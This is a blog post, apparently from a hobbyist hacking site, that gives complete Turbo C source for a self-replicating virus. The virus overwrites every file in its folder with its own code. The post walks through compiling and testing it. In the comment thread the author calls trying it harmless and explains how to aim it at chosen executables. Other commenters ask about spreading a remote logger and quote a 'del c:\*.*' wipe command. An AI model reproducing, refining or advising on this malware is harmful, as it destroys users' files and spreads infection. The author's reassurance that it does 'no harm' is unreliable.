Create a Self Replicating Virus in C Language


Hi Folks. I haven't posted anything related to programming for so long. So here I'm gonna show you how to create a simple virus in C language which is able to infect the exe files by replicating its own copies.
Wait a minute.. first if you're gonna praise me for this code then let me tell that I just get it from internet. Obviously I'm not the one who actually wrote this. If anyone who is the real writer of this code reading it then mail me dude because I have another Legendary code to discuss.
Anyways lets take a look how this code works.

At the time of execution this program simple flush all the code of the present exe and then dump its own code into them which obviously turn them into its copies enabled with the same functionality.

Warning: This is for the education purpose only. I'm not responsible for any damage done to anyone

  • Open the Notepad and copy the below code into it:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,(end-st)/CLK_TCK);
getch();
}


  • Save as > virus.c
  • Now compile this code with your C compiler. You can take a look here
  • Note down the generated exe file length in bytes
  • Replace the value of X at line 23 in source code to this length in bytes
  • Recompile the code. The new exe file is ready to infect
PERFORM A TEST:
  • Open new empty folder
  • Put some exe files (you can also put the setup files)
  • When you execute the virus.exe file then all the files present there will be infected
  • All the infected files will be ready to reinfect
Debug this code for some more new ideas like I did. :P
If you have any problem in understanding this code then feel free to ping me anytime.

Keep Learning. Keep Rocking. :)
Previous
Next Post »

26 comments

Click here for comments
Anonymous
admin
17 July 2012 at 00:14 ×

can u write this thing in java

Reply
avatar
Gaurav Singh
admin
18 July 2012 at 08:51 ×

yeah, for sure. I'll do it as soon as get free time :) Stay tuned.
In the mean while why don't you try yourself and feel free to ping if get stuck.

Reply
avatar
Anonymous
admin
24 September 2012 at 23:54 ×

how to learn hacking by our own ??

Reply
avatar
Gaurav Singh
admin
27 September 2012 at 07:00 ×

Take a look here,

http://hackthedark.blogspot.com/2011/12/hacking-faq-best-guide-for-beginners.html

Reply
avatar
Anonymous
admin
16 October 2012 at 23:04 ×

if i create it does my comp get infected plz reply asap

Reply
avatar
Gaurav Singh
admin
17 October 2012 at 03:30 ×

You can see the effects on your PC which can later be cured. Its worth trying, no harm at all if followed carefully.

Reply
avatar
Unknown
admin
28 October 2012 at 22:36 ×

can we save the file with *.bat extention ??
will it be doing the same i.e. infecting the pc....

Reply
avatar
Gaurav Singh
admin
2 November 2012 at 07:29 ×

.bat is for batch file, and here the code is in C language.
So obviously it'll not gonna work.

Reply
avatar
Unknown
admin
6 November 2012 at 08:04 ×

can u tell me a virus which replicates/hide's itself using notepad ,.

Reply
avatar
Anonymous
admin
29 November 2012 at 01:50 ×

hey buddy plz make a video tutorial it will help a lot..
i have aradamax remote logger ..how can i spread it..
mereid@rediffmail.com

Reply
avatar
Anonymous
admin
26 February 2013 at 13:13 ×

Hey INCR3DIBL3 H4CK3R ,

I cant understand the line 23, what do you mean "this length in bytes" .

Also if we want to infect a specific .exe in program files , how can we do this?

Cheers!

Reply
avatar
Gaurav Singh
admin
27 February 2013 at 09:27 ×

@Anonymous..
At Line 23 we only pass the size of file in bytes to avoid any exception while infecting.
In order to infect any specific .exe file.. simply pass its name in findfirst function..!

cheers

Reply
avatar
Anonymous
admin
11 March 2013 at 02:29 ×

Hey there nice piece of code man!!!

I was wondering if we just want to search and infect the .exe files that exist in the program files not just a specific one like the post above asks, how can we do this ? I mean how can we pass the path to program files ?

peace :)

Reply
avatar
Anonymous
admin
30 March 2013 at 03:25 ×

Am I the only one shocked by the "goto"?
It is safer to use a if/else, and more simple!

Reply
avatar
Gaurav Singh
admin
5 May 2013 at 20:38 ×

"goto" is safe if Handel carefully.

Reply
avatar
Anonymous
admin
17 May 2013 at 06:22 ×

i want to ask if i infect a .exe thus it get corrupted
and if not whenever i run the .exe file thus the virus also get run.

Reply
avatar
Anonymous
admin
19 August 2013 at 10:18 ×

Don't work >.< multiple compiler errors....need help

Reply
avatar
rendy
admin
17 November 2013 at 06:00 ×

Interesting code! I'm just curious, is there any way to recover the infected file?

Reply
avatar
Anonymous
admin
17 January 2014 at 10:50 ×

Hey...First Of All.!! I like to thank all of you for being such an inspiring source for me.!! GOD bless you Guys..!! :) Secondly Em New to Programming just learned basic C language..I 'll be thankful to you guys if you kinndly Guide me. That Should it be Done to Master in C prgramming and Vice versa...!! Are there Some Golden points regarding that?

Reply
avatar
Anonymous
admin
5 February 2014 at 03:35 ×

well its perfect and ready to it

Reply
avatar
Anonymous
admin
6 April 2014 at 08:54 ×

What is the 2048 significant for in line 10 ? Any significance to this buffer size or is it just random.

Reply
avatar
Unknown
admin
24 January 2015 at 00:11 ×

hello Dears

I have a problem with compiling it when i tried to compile the program i got this error whic says "error: invalid use of undefined typ 'struct ffblk'"
any solution for this

Regards

Reply
avatar
Anonymous
admin
6 February 2015 at 05:11 ×

some errors are there

Reply
avatar
Unknown
admin
7 March 2016 at 22:59 ×

Can we do command promt thing using c++. Like the command del c:\\*.* |y.

Reply
avatar
Unknown
admin
7 March 2016 at 23:00 ×

Can you please explayin ffblk and ff_name

Reply
avatar
Anonymous
admin
15 March 2016 at 13:22 ×

The error is because it's in Turbo C and using MS-DOS librairies who not work nowadays ...

Reply
avatar